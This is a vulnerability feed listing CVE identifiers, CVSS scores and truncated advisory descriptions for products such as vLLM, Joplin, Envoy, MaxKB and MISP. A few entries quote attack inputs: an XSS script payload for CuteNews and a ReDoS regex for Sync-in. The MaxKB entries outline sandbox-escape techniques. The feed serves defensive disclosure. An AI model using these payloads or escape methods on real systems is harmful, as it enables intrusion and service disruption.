ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94623	New	7.5	HIGH				vLLM through 0.29.0 contains a denial of service vulnerability in the NIXL connector's prefix caching implementation that fails to properly validate block counts across multi-prompt completion requests in prefill/decode disaggregated deployments. Attackers can trigger an assertion failure in NixlBaseConnectorWorker._apply_prefix_caching by submitting completion requests with...
CVE-2026-94624	New	7.5	HIGH				vLLM through 0.29.0 contains a denial of service vulnerability in P2P KV offloading when OffloadingConnector is configured with TieringOffloadingSpec and a peer-to-peer secondary tier. Attackers can supply arbitrary remote host and port values in kv_transfer_params to create unreachable peer sessions that retain ZeroMQ sockets until the context quota is exhausted, causing an...
CVE-2026-94626	New	7.5	HIGH				vLLM through 0.29.0 fails to validate the tp_size parameter in kv_transfer_params on OpenAI-compatible completion endpoints, allowing attackers to allocate unbounded memory. Attackers can supply arbitrary tp_size values in prefill/decode disaggregated deployments to exhaust memory and trigger kernel OOM-kill of the decode worker process.
CVE-2026-94627	New	7.5	HIGH				vLLM Mooncake connector through 0.29.0 fails to properly manage GPU KV cache block ownership when concurrent child requests share a single transfer ID in prefill/decode disaggregated deployments. Attackers can trigger GPU memory exhaustion by submitting completion requests with multiple prompts, causing orphaned KV cache blocks to accumulate until process restart and eventua...
CVE-2026-55210	New	7.4	HIGH				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.2, Joplin Server's UserModel.ssoLogin() returns an existing account matched by an IdP-asserted email without checking the account's is_external flag. In deployments using mixed local and SAML authentication, an attacker whose IdP session can assert a local u...
CVE-2026-73546	New	7.4	HIGH				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy's /stats?format=html admin endpoint uses StatsHtmlRender, which sanitizes string statistic values but emits statistic names without HTML encoding. A data-plane component such as grpc_stats with stats_for_all_methods enabled can incorporat...
CVE-2026-75939	New	7.4	HIGH				A flaw was found in openshift/oc-mirror. The tool incorrectly verifies PGP (Pretty Good Privacy) release image signatures by checking for signature errors before the entire signed body is processed, leading to a bypass of the signature verification. A remote attacker, by intercepting or manipulating network traffic to the signature endpoint, could exploit this to craft a PGP...
CVE-2026-77523	New	7.4	HIGH				MaxKB is an open-source AI assistant for enterprise. In version 2.10.3-lts and earlier, the model parameter form route authorizes the path workspace but ModelSerializer.ModelParams loads and saves a Model by id alone without including workspace_id in the query. An authenticated user with model read permission in an attacker-controlled workspace can supply a known victim mode...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94491	New	7.3	HIGH				A weakness has been identified in Yonyou KSOA 9.0. This affects an unknown part of the file /cardcase/search_list.jsp. Executing a manipulation of the argument address can lead to sql injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure bu...
CVE-2026-12470	New	7.2	HIGH				The CMP – Coming Soon & Maintenance Plugin by NiteoThemes plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'cmp_ajax_import_settings' AJAX action in all versions up to, and including, 4.1.17. This makes it possible for authenticated attackers, with Editor-level access and ab...
CVE-2026-36467	New	7.2	HIGH				Unrestricted Upload of File with Dangerous Type in core/modules/media.php in CuteNews v.2.1.2 allows remote authenticated users with access to the Media Manager panel to execute arbitrary code in the context of the web application, leading to remote server access by triggering a reverse shell.
CVE-2026-87858	New	7.2	HIGH				Temporal Server decided whether a Workflow completion callback was internal by reading a caller-supplied HTTP header. An authenticated caller holding only write permission in a single namespace could attach a completion callback whose URL host matched the configured callback address allowlist, whose URL path was any Temporal HTTP API route, and whose header map contained a n...
CVE-2026-16652	New	7.1	HIGH				Temporal Server did not bound the work performed while searching for a Schedule's next action time. An authenticated caller with namespace write permission could create or update a Schedule that combines a fine-grained cadence with an exclusion calendar that rejects every candidate time, causing the server to evaluate excluded candidates without a per-search work budget. Thi...
CVE-2026-49450	New	7.1	HIGH				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.2, Joplin Desktop for Windows omits publisherName from packages/app-desktop/package.json, so the generated app-update.yml causes NsisUpdater.verifySignature() to skip comparison of a downloaded update's Authenticode signer with Joplin's signer. An attacker w...
CVE-2026-61647	New	7.1	HIGH				NotebookLM MCP is an MCP server and HTTP service for interacting with Google NotebookLM and exporting generated content to local vault directories. Versions 1.6.0 through 2.0.2 contain a path traversal vulnerability in the `POST /batch-to-vault` endpoint, also exposed through the `batch_to_vault` MCP tool beginning in version 1.7.0, because attacker-controlled `vault_dir` an...
CVE-2026-61687	New	7.1	HIGH			go:hatchet	Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.91.1, ValidateOAuthState clears the oauth_state_session value to an empty string after a successful OAuth callback and later accepts an empty state parameter as equal, allowing an unauthenticated attacker to bind a victim's Hatchet session to an attacker-controlle...
CVE-2026-88410	New	7.1	HIGH				The graph.UDF in FalkorDB (Redis module) v4.20.1 to v4.20.4 is not registered as a write command, leading to unexpected behavior within the application.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90860	New	7.1	HIGH		0.002		The Canva Mobile App for HarmonyOS before v1.15.1 did not restrict the headers returned to an external origin running in a privileged WebView. A threat actor with control of the WebView could access a user's session.
CVE-2026-94368	New	7.1	HIGH				A flaw was found in the signature verification logic of noobaa-core, the core component of the NooBaa Multicloud Object Gateway. The issue occurs when the service processes S3 presigned URLs using Signature Version 4 (SigV4). Due to improper validation, the service fails to reject requests containing unsigned x-amz- headers, instead simply dropping them from the signature ca...
CVE-2026-94404	New	7.1	HIGH				MISP has a security issue that could let an attacker change threat-intelligence data through a logged-in user's browser without that user knowingly approving the change. The affected function did not properly enforce MISP's usual protection against forged requests. Because of this, an attacker could create a malicious webpage that silently sends a request to MISP when visit...
CVE-2026-94495	New	7.1	HIGH				jshERP through 3.6 fails to properly validate user privileges in SystemConfigService.updateSystemConfig, allowing authenticated users to modify tenant system configuration. Attackers can rewrite or delete tenant-wide settings covering company identity, stock rules, approval behavior, and printing configuration through the systemConfig endpoint.
CVE-2026-94534	New	7.1	HIGH				lamp-cloud through 5.10.0 fails to validate user identity in PUT /anyone/baseInfo and PUT /anyone/avatar endpoints, allowing authenticated attackers to modify arbitrary user profiles. Attackers can supply target user IDs in request bodies to rewrite profile fields including nickname, ID card, sex, nation, education, work description, and avatar attachments of other users.
CVE-2026-94535	New	7.1	HIGH				lamp-cloud through 5.10.0 contains an authorization bypass vulnerability in the deleteMyNotice endpoint that allows authenticated users to delete other users' notifications. Attackers can call the DELETE /anyone/extendNotice/deleteMyNotice endpoint with arbitrary notice IDs to permanently remove notifications belonging to other users without recipient validation.
CVE-2026-49453	New	7.0	HIGH				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.6.15 and 3.7.2, Joplin accepts synchronized resource metadata whose id or file_extension contains parent-directory or path-separator characters. Baseltem.unserialize() stores the unvalidated fields, resourceFilename() concatenates them into a destination path,...
CVE-2026-52835	New	7.0	HIGH				Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the import_config handler and the database_file branch of import_database in plexpy/webserve.py join the attacker-controlled config_file.filename or database_file.filename directly to CACHE_DIR without basename reduction or a containment check. An administrator or caller with the ...
CVE-2026-68919	New	7.0	HIGH				GoCD is a continuous deliver server. From 13.3.0 until 26.1.0, GoCD does not correctly encode and escape malicious material modification comments that mimic the special traceback format used by package materials when rendering the Stage Detail, Job/Build Detail, Value Stream Map, and Pipeline History views. A user with write access to a material tracked by GoCD can store arb...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-61541	New	6.9	MEDI				Zapros, a Python HTTP client, prior to version 0.14.0 is vulnerable to denial of service when an application requests content from an untrusted server, or follows a redirect to one, because a malicious response containing an excessive number of chained `Content-Encoding` values causes Zapros to construct a deeply nested decompression chain that consumes excessive resources. ...
CVE-2026-77582	New	6.9	MEDI				Tinyauth is an authentication and authorization server. Prior to 5.1.0, Tinyauth exposes a remotely observable timing difference between authentication attempts for existing and nonexistent local usernames. internal/controller/user_controller.go loginHandler and internal/middleware/context_middleware.go basicAuth return quickly after internal/service/auth_service.go reports ...
CVE-2026-94379	New	6.9	MEDI				The login() function in MISP's UsersController.php contained insufficient HTTP method validation for several security-critical code paths. The original code used an allowlist approach, checking only for specific HTTP methods (POST and PUT) before enforcing bruteforce protection, email one-time-password (OTP) verification, and login-failure logging. Because the checks were no...
CVE-2026-58271	New	6.8	MEDI				Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, `POST /api/app/sync/register` accepts credentials and a TOTP code to register a desktop sync client. On a failed TOTP, `SyncClientsManager.register()` calls `updateAccesses(user, ip, false)`, which hits a freeze branch that writes `passwordAttempts` back u...
CVE-2026-63334	New	6.8	MEDI				draw.io is a configurable diagramming and whiteboarding application. Prior to version 30.2.7, deployments with ENABLE_DRAWIO_PROXY=1 are vulnerable to server-side request forgery because src/main/java/com/mxgraph/online/Utils.java performs the private-address check in Utils.sanitizeUrl() using one DNS resolution, while src/main/java/com/mxgraph/online/ProxyServlet.java later...
CVE-2026-93340	New	6.8	MEDI				Gladys Assistant before 5.1.0 contains a password reset link poisoning vulnerability that allows unauthenticated remote attackers to obtain valid password reset tokens for any account by exploiting the client-supplied origin parameter in the forgot_password endpoint without server-side validation. Attackers can send a crafted request specifying an attacker-controlled origin,...
CVE-2026-55179	New	6.5	MEDI				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.2, Joplin Server's GET /items/:id/content route in packages/server/src/routes/index/items.ts loads item content from an attacker-supplied internal server ID without checking whether the signed-in user owns or can access that item. Any authenticated user who ...
CVE-2026-58270	New	6.5	MEDI				Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, the sync diff endpoint compiles a user-supplied string into a `RegExp` with no complexity validation. A catastrophic-backtracking pattern (e.g. `^(a+)+b`) blocks the Node.js event loop, making the entire server unresponsive to all users until the container...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-61744	New	6.5	MEDI				InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, POST /api/barcode/ accepts an attacker-synthesized internal JSON barcode containing a lowercase model label and integer primary key, while BarcodeView uses IsAuthenticatedOrReadScope and requires only authentication or a general read scope. The built-in barcode plugin selects the object with model.objec...
CVE-2026-61749	New	6.5	MEDI				InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, privileged staff users who can author report or label templates can cause WeasyPrint report rendering to retrieve attacker-selected resources through the HTTP and HTTPS URL schemes or the local file URI scheme. The HTML(string=html).write_pdf() path does not provide a restricted url_fetcher, and attach_...
CVE-2026-61851	New	6.5	MEDI				Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. Prior to 5.2.2, Chartbrew's runQuery() implementation in server/modules/ai/orchestrator/tools/runQuery.js attempts to enforce read-only database access with a blocklist containing only seven SQL keywords. An authenticated user with AI feature access ...
CVE-2026-62247	New	6.5	MEDI				Supabase Realtime provides Broadcast, Presence, and Postgres Changes via WebSockets. Prior to 2.111.2, Realtime authorization does not correctly honor the per-extension presence.read row-level security policy when a private-channel client is allowed presence.write but explicitly denied presence.read. Under that differential policy, the client can receive presence_diff messag...
CVE-2026-62370	New	6.5	MEDI				KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. From 1.0.0 until 1.21.2, 1.22.2, and 1.23.1, Reader.Read in pkg/viaduct/pkg/packer trusts the 32-bit PackageHeader.PayloadLen received through the CloudHub viaduct message-processing path and allocates that amount of memory before validating an upper ...
CVE-2026-77165	New	6.5	MEDI				File owners were unable to unlock TYPE_TOKEN locks placed by other users, leaving files permanently locked with no recovery path outside of the database.
CVE-2026-79917	New	6.5	MEDI				MaxKB is an open-source AI assistant for enterprise. In 2.7.0 through 2.10.4-lts, POST /chat/api/{application_id}/chat/{chat_id}/share_chat verifies that a conversation exists but does not verify that it belongs to the authenticated chat_user_id or to the application bound to the caller's token. An attacker with any chat token and a known victim chat_id can create an unauthed...
CVE-2026-85113	New	6.5	MEDI		0.002		The GiveWP WordPress plugin before 4.16.9 does not remove shortcode delimiters from donor-supplied values before rendering them on public pages, and the shortcode stripping it applies can be defeated by nesting, allowing unauthenticated users to execute arbitrary shortcodes registered on the site.
CVE-2026-88408	New	6.5	MEDI				FalkorDB (Redis module) v4.20.1 to v4.20.4 was discovered to contain a stack overflow in the _GetGroup() function (/ops/op_aggregate.c). This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.
CVE-2026-94413	New	6.5	MEDI				jshERP through 3.6 fails to redact password hashes in the /user/info endpoint, allowing authenticated users to retrieve unsalted MD5 password digests for any user. Attackers can request arbitrary user information by supplying user IDs to obtain password hashes usable for offline cracking or direct authentication bypass.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94532	New	6.5	MEDI				lamp-cloud through 5.10.0 contains an authorization bypass vulnerability in the getUserInfoById endpoint that allows authenticated users to read any other user's full profile. Attackers can iterate the userId parameter to harvest sensitive user information including mobile numbers, email addresses, national identity card numbers, and WeChat and DingTalk OpenIDs.
CVE-2026-94533	New	6.5	MEDI				lamp-cloud through 5.10.0 contains an authorization bypass vulnerability in FileAnyoneController that allows authenticated users to download arbitrary attachments. Attackers can retrieve other users' stored files by supplying valid attachment identifiers to the /anyone/file/down and /anyone/file/download endpoints, as the application never validates file ownership against th...
CVE-2026-85653	New	6.4	MEDI				The Contextual Related Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'other_attributes' Block Parameter in all versions up to, and including, 4.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will ...
CVE-2026-94393	New	6.4	MEDI				When a user creates or edits a report inside an event, MISP can identify an existing report using its UUID without properly checking whether that report actually belongs to the same event. As a result, a user who has editing rights on one event could potentially move a report from another event into their own event, as long as they know or can guess the report's UUID. Once ...
CVE-2026-61743	New	6.3	MEDI				Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. Prior to 5.2.2, Chartbrew's server/modules/safeRequest.js calls validateOutboundUrl() to resolve and validate a target hostname, but request-promise performs a separate DNS resolution for the actual connection. An authenticated user who can create or...
CVE-2026-63342	New	6.3	MEDI				Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.91.1, api-contracts/openapi/paths/v1/workflow-runs/workflow_run.yaml defines the GET /api/v1/stable/durable-tasks/{durable-task} endpoint implemented by listDurableEventLog without requiring the target tenant as a parent resource, allowing an authenticated user who...
CVE-2026-69190	New	6.3	MEDI				Graylog is a free and open log management platform. From 6.3.0 until 6.3.14, 7.0.9, and 7.1.4, the view update API for saved searches and dashboards permits a user with edit permission but without entity ownership to include a shareRequest that grants owner permissions to an arbitrary account. The selected account can then delete the saved search or dashboard or remove the o...
CVE-2026-79918	New	6.3	MEDI				MaxKB is an open-source AI assistant for enterprise. Prior to version 2.10.6-lts, the ToolExecutor LD_PRELOAD sandbox hooks execve, execvpe, and execveat to prevent subprocess creation but does not hook fexecve. An authenticated attacker able to execute tool code can call fexecve to start a process outside the sandbox's intended subprocess policy. This issue is fixed in vers...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-79919	New	6.3	MEDI				MaxKB is an open-source AI assistant for enterprise. Prior to version 2.10.6-lts, function-library code running under the LD_PRELOAD sandbox can invoke ctypes.CDLL from an importlib.abc.MetaPathFinder callback so the dlopen call-stack heuristic sees a Python import frame, then use unhooked dlsym with RTLD_NEXT to resolve glibc's real syscall and bypass the sandbox syscall bl...
CVE-2026-94277	New	6.3	MEDI				MISP's galaxy matrix statistics view (app/View/Users/statistics_galaxymatrix.ctp) renders the galaxy name directly into HTML output via sprintf() without any HTML encoding. An authenticated user holding the perm_galaxy_editor permission can create or modify a galaxy whose name contains arbitrary HTML or JavaScript markup. Because the value is interpolated verbatim into the p...
CVE-2026-94372	New	6.3	MEDI				MISP contains a stored cross-site scripting (XSS) vulnerability in the default theme's Galaxies index page. When a MISP instance detects unknown custom or default galaxy clusters during synchronization, it renders sample tag names in an informational notice directed at site administrators. In the default theme, these sample tag names were inserted into the HTML output withou...
CVE-2026-94373	New	6.3	MEDI				MISP contains a DOM-based cross-site scripting (XSS) vulnerability in the contextual menu JavaScript component. The ContextualMenu class populates HTML <option> elements by assigning user-controllable values to the innerHTML property. Because innerHTML parses and renders HTML markup, any untrusted string supplied as the option text (value.text or value) is interpreted as liv...
CVE-2026-94394	New	6.3	MEDI				When a regular user adds a reference between objects or attributes, MISP checks whether the user can access the overall event, but it does not always check whether the individual pieces of data are also allowed for that user. Because of this, someone who can view an event could potentially access attributes or objects inside that event that were meant to be restricted to a ...
CVE-2026-94492	New	6.3	MEDI				A security vulnerability has been detected in Yonyou U8cloud 5.x. This vulnerability affects unknown code of the file /u8cloud/openapi/so.saleorder.sendaudit of the component OpenAPI. The manipulation of the argument operator leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early a...
CVE-2026-59168	New	6.2	MEDI				Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.11.1, parsing/json/json_reader.go decodeValue, decodeObject, and decodeArray, and parsing/xml/reader.go parseElement, recurse once per input nesting level without a depth guard. Deeply nested attacker-controlled JSON or XML supplied through parsing.Format(.....
CVE-2026-62866	New	6.2	MEDI				Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.11.2, selector/lexer/tokenize.go parseCurRune advances the input index across trailing whitespace and then reads the source at the exhausted index without an end-of-input check. A selector ending in whitespace, including input passed through lexer.NewTokeniz...
CVE-2026-36468	New	6.1	MEDI				Cross-site Scripting (XSS) in index.php in CuteNews v.2.1.2 allows remote unauthenticated attackers to supply an arbitrarily named URL parameter key, with part of its name containing any URL-encoded common XSS payload (such as "><script>alert(1)</script>").

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-58504	New	6.1	MEDI				draw.io is a configurable diagramming and whiteboarding application. Prior to version 30.2.5, opening or importing a crafted .drawio file can execute attacker-controlled JavaScript in the draw.io origin when selected cells are processed by TextFormatPanel.addFont() in src/main/webapp/js/grapheditor/Format.js. An HTML sibling cell keeps the formatted-label path enabled while ...
CVE-2026-93655	New	6.1	MEDI				The Booking Calendar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'wpbc_auto_fill' parameter in all versions up to, and including, 11.8.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user in...
CVE-2026-17051	New	6.0	MEDI				The Intel SEDI IPM (inter-processor mailbox) driver in drivers/ipm/ipm_sedi.c handles an inbound message interrupt in ipm_event_dispose(). It read the peer-written doorbell register, extracted the payload length with IPC_HEADER_GET_LENGTH(), and passed that length straight to sed_i_ipc_read_msg() to copy the message into struct ipm_sedi_context.incoming_data_buf, without chec...
CVE-2026-55473	New	6.0	MEDI				HomeBox is a home inventory and organization system. Prior to 0.26.0, the default-on BlockBogonNets and BlockCloudMetadata notifier SSRF protections in backend/internal/sys/validate/notifier_url.go do not inspect IPv4 destinations embedded in the NAT64 prefixes 64:ff9b::/96 and 64:ff9b:1::/48. An authenticated user can submit a generic:// notifier through POST /v1/notifiers ...
CVE-2026-91167	New	6.0	MEDI				Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.28.4, PUT /@warpgate/admin/api/users/:id/roles/:role_id reaches api_update_user_role in warpgate-admin/src/api/users.rs through AdminContext but does not require AdminPermission::AccessRolesAssign. A limited administrator with any permission can update expires_at on an existing UserRoleAssignm...
CVE-2026-48521	New	5.9	MEDI				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy's ProdClusterManagerFactory::allocateConnPool dereferences transport_socket_options while selecting an HTTP/3 connection pool without first checking whether the pointer is null. LoadBalancerContext implementations used by synthetic, mirro...
CVE-2026-50572	New	5.9	MEDI				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy's HTTP external-authorization client can retain a stale request callback after a request is rejected. When RawHttpClientImpl::onSuccess later processes the authorization response, it can invoke callbacks_ after the callback owner has been...
CVE-2026-61852	New	5.8	MEDI				Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. Prior to 5.2.2, Chartbrew's runQuery() implementation in server/modules/ai/orchestrator/tools/runQuery.js interpolates the AI tool's row_limit parameter into a SQL LIMIT clause without runtime integer validation. The read-only keyword check runs befo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-62987	New	5.8	MEDI				Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. From 1.6.6 until 1.7.2, the CVE-2025-48865 fix in proxy/http_headers.go uses protectHeaders for a hardcoded set of forwarded headers but omits the operator-configured ClientIPHeader, TLSHeader, and RequestID names. In proxy/http_proxy.go, HTTPProxy.ServeHTTP calls addHeaders to set these trust h...
CVE-2026-17050	New	5.7	MEDI				The experimental USB host stack allocates a per-device configuration-descriptor buffer, udev->cfg_desc, from the dedicated usb_device_heap in usbh_device_set_configuration() (subsys/usb/host/usbh_device.c). On three failure paths — a failed full-length GET_DESCRIPTOR(CONFIGURATION) read, a mismatch between the short and full descriptor reads, and a rejected descriptor in par...
CVE-2026-61612	New	5.7	MEDI				CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to loopb...
CVE-2026-91166	New	5.7	MEDI				Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. From 0.25.0 until 0.27.6, the browser SSH path in warpgate-web-ssh/src/manager.rs handles REvent::HostKeyUnknown without the presenting hop identity and instead passes ssh_options.host and ssh_options.port for the final target to KnownHosts::trust. In Prompt and AutoAccept modes, a jump host key can the...
CVE-2026-82163	New	5.5	MEDI				Dell Command Intel vPro Out of Band, versions prior to 4.7.2, contain an Incorrect Default Permissions vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Disclosure.
CVE-2026-82165	New	5.5	MEDI				Dell Command Integration Suite for System Center, versions prior to 6.7.2, contain an Incorrect Default Permissions vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Disclosure.
CVE-2026-93433	New	5.5	MEDI				A flaw was found in libstoragemgmt. An attacker with control over a local or virtual storage device could provide specially crafted SCSI (Small Computer System Interface) Vital Product Data (VPD) page 0x80 data. This malformed data, specifically an untrusted page length field, can lead to a stack buffer overflow in the `_sg_parse_vpd_80()` function during serial number parsi...
CVE-2026-94144	New	5.5	MEDI		0.003		A flaw has been found in drogonframework drogon up to 1.9.13. This affects the function makeCriteria in the library orm_lib/src/Criteria.cc of the component ORM. Executing a manipulation of the argument filter can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used. The vendor was contacted early about this disclosur...
CVE-2026-94148	New	5.5	MEDI		0.003		A vulnerability was determined in ScadaBR up to 1.1. Impacted is the function EmportDwr.createExportJSON of the file /ScadaBR/export_project.htm of the component Export Project Endpoint. This manipulation causes information disclosure. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 1.2.0 is recommended ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94151	New	5.5	MEDI		0.004		A weakness has been identified in Omega Solution HRM OS up to 20260717. This affects an unknown function of the file /role-permission/permission of the component Role Permission API. Executing a manipulation of the argument roleId can lead to missing authentication. The attack may be launched remotely. The exploit has been made available to the public and could be used for a...
CVE-2026-94215	New	5.5	MEDI		0.002		A flaw was found in the Admin REST API of Keycloak, an open-source identity and access management solution. The issue occurs because the API uses a per-request in-memory cache to resolve clients by their unique identifier without verifying if the client belongs to the realm specified in the request path. This allows an administrator with limited privileges to read or modify ...
CVE-2025-71419	New	5.4	MEDI				UVdesk core-framework before 1.1.7 contains a stored cross-site scripting vulnerability in the SwiftMailer configuration identifier parameter of the createMailerConfiguration action. Attackers with ROLE_AGENT can inject malicious script into the identifier field, which is persisted and executed when other members access the configuration update page.
CVE-2026-48974	New	5.4	MEDI				HomeBox is a home inventory and organization system. Prior to 0.26.0, POST /v1/groups/members invokes HandleGroupMemberAdd and GroupService.AddMember using a caller-supplied userID without requiring an owner role, an invitation token, target-user consent, or target-user notification. Any authenticated user can force another account into the caller's group, disclose the targe...
CVE-2026-54915	New	5.4	MEDI				Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the unauthenticated /auth/redirect endpoint in plexpy/webauth.py removes forward slashes from the user-controlled redirect_uri parameter but leaves tab, line-feed, and carriage-return characters intact. With the default root HTTP_ROOT configuration, CherryPy HTTPRedirect passes th...
CVE-2026-59830	New	5.4	MEDI				Discourse is an open-source discussion platform. Prior to 2026.7.0, the post action component failed to escape user-controlled display names before interpolating them into an HTML string passed to trustHTML. A user who could choose a crafted display name could persist markup in post action descriptions. Viewing the affected user activity streams could execute attacker-contro...
CVE-2026-77516	New	5.4	MEDI				MaxKB is an open-source AI assistant for enterprise. From version 2.0.0 through 2.9.2, a lowest-role workspace member denied access to a tool by WorkspaceUserResourcePermission can still bind its identifier through tool_ids, skill_tool_ids, or mcp_tool_ids and execute it through the agent or workflow dispatch path. The dispatch path does not reapply the per-tool grant enforc...
CVE-2026-77517	New	5.4	MEDI				MaxKB is an open-source AI assistant for enterprise. From version 2.0.0 through 2.10.2-lts, document and paragraph operate routes authorize only knowledge_id in the request path, then query the target Document by document_id or Paragraph by paragraph_id without confirming that the object belongs to that knowledge base. A normal workspace user with a known victim document or ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77519	New	5.4	MEDI				MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, the /chat/api/mcp authentication path looks up an ApplicationApiKey using only its secret and active status, without enforcing the is_permanent and expire_time checks used by the standard chat API. A previously valid, non-permanent application key that remains active after expiration can initiali...
CVE-2026-77520	New	5.4	MEDI				MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, a normal user in the same workspace can obtain another user's application_id from the homepage application question-ranking endpoint when the published victim application has ranking activity in the selected date range and the attacker knows or guesses its name, even though direct application det...
CVE-2026-94414	New	5.4	MEDI				jshERP through 3.6 is missing an authorization check on the POST /userBusiness/updateBtnStr endpoint that allows authenticated users to modify role button-permission definitions. Attackers can supply arbitrary roleId and btnStr parameters to overwrite button-permission configurations for any role in the tenant without privilege validation.
CVE-2025-71420	New	5.3	MEDI				UVdesk core-framework before 1.1.7 contains an authorization bypass vulnerability in the saved reply endpoint that allows authenticated agents to access replies restricted to other support groups. Attackers with ROLE_AGENT can enumerate saved reply identifiers and read content reserved for groups and teams they do not belong to.
CVE-2026-15890	New	5.3	MEDI				The default AEAD nonce provider for the PSA Internal Trusted Storage transform module, secure_storage_its_transform_aead_get_nonce() in subsys/secure_storage/src/its/transform/aead_get.c, stores its nonce counter in unsynchronized function-local static variables (s_nonce and s_nonce_initialized). Every ITS write obtains its AES-GCM or ChaCha20-Poly1305 nonce here via secure_...
CVE-2026-17054	New	5.3	MEDI				The Espressif ESP-hosted Wi-Fi driver (drivers/wifi/esp_hosted/) parses frames received over SPI from the ESP co-processor in esp_hosted_event_task(). For control frames it took the 16-bit TLV field data_length straight off the wire and passed it to pb_istream_from_buffer(frame.data_value, frame.data_length) without checking it against the frame length or the receive buffer....
CVE-2026-52740	New	5.3	MEDI				GoCD is a continuous deliver server. From 18.7.0 until 26.1.0, the Get Template Config API compares HTTP method names case-sensitively when selecting authorization filters. A lower-privileged authenticated user can send a request with nonstandard HTTP method capitalization to retrieve a pipeline template by name without the required view permission and read its configuration...
CVE-2026-54584	New	5.3	MEDI				mport is the MidnightBSD Package Manager. mport before 2.7.8 used TMPDIR while extracting package metabytes, including when running as root or in setuid/setgid contexts. An attacker able to control the environment for a privileged mport invocation could redirect temporary metadata extraction to an attacker-controlled location. PR 123 ignores unsafe TMPDIR values in privilege...
CVE-2026-58272	New	5.3	MEDI				Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Versions prior to 2.4.1 contain an observable timing discrepancy in the login endpoint because authentication attempts for nonexistent accounts return without performing the bcrypt comparison used for existing accounts. An unauthenticated attacker can measure response times to en...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-61746	New	5.3	MEDI				InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, PluginSettingList, PluginAllSettingList, and PluginSettingDetail set GlobalSettingsPermissions without the IsAuthenticated permission used by the project default and equivalent global-settings endpoints. GlobalSettingsPermissions returns true for safe methods, while AuthRequiredMiddleware exempts /api/ ...
CVE-2026-73511	New	5.3	MEDI				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy normally matches the raw request path, while servlet backends such as Apache Tomcat strip semicolon matrix parameters from each path segment before resolving the resource. Envoy's ignore_path_parameters_in_path_matching option instead tru...
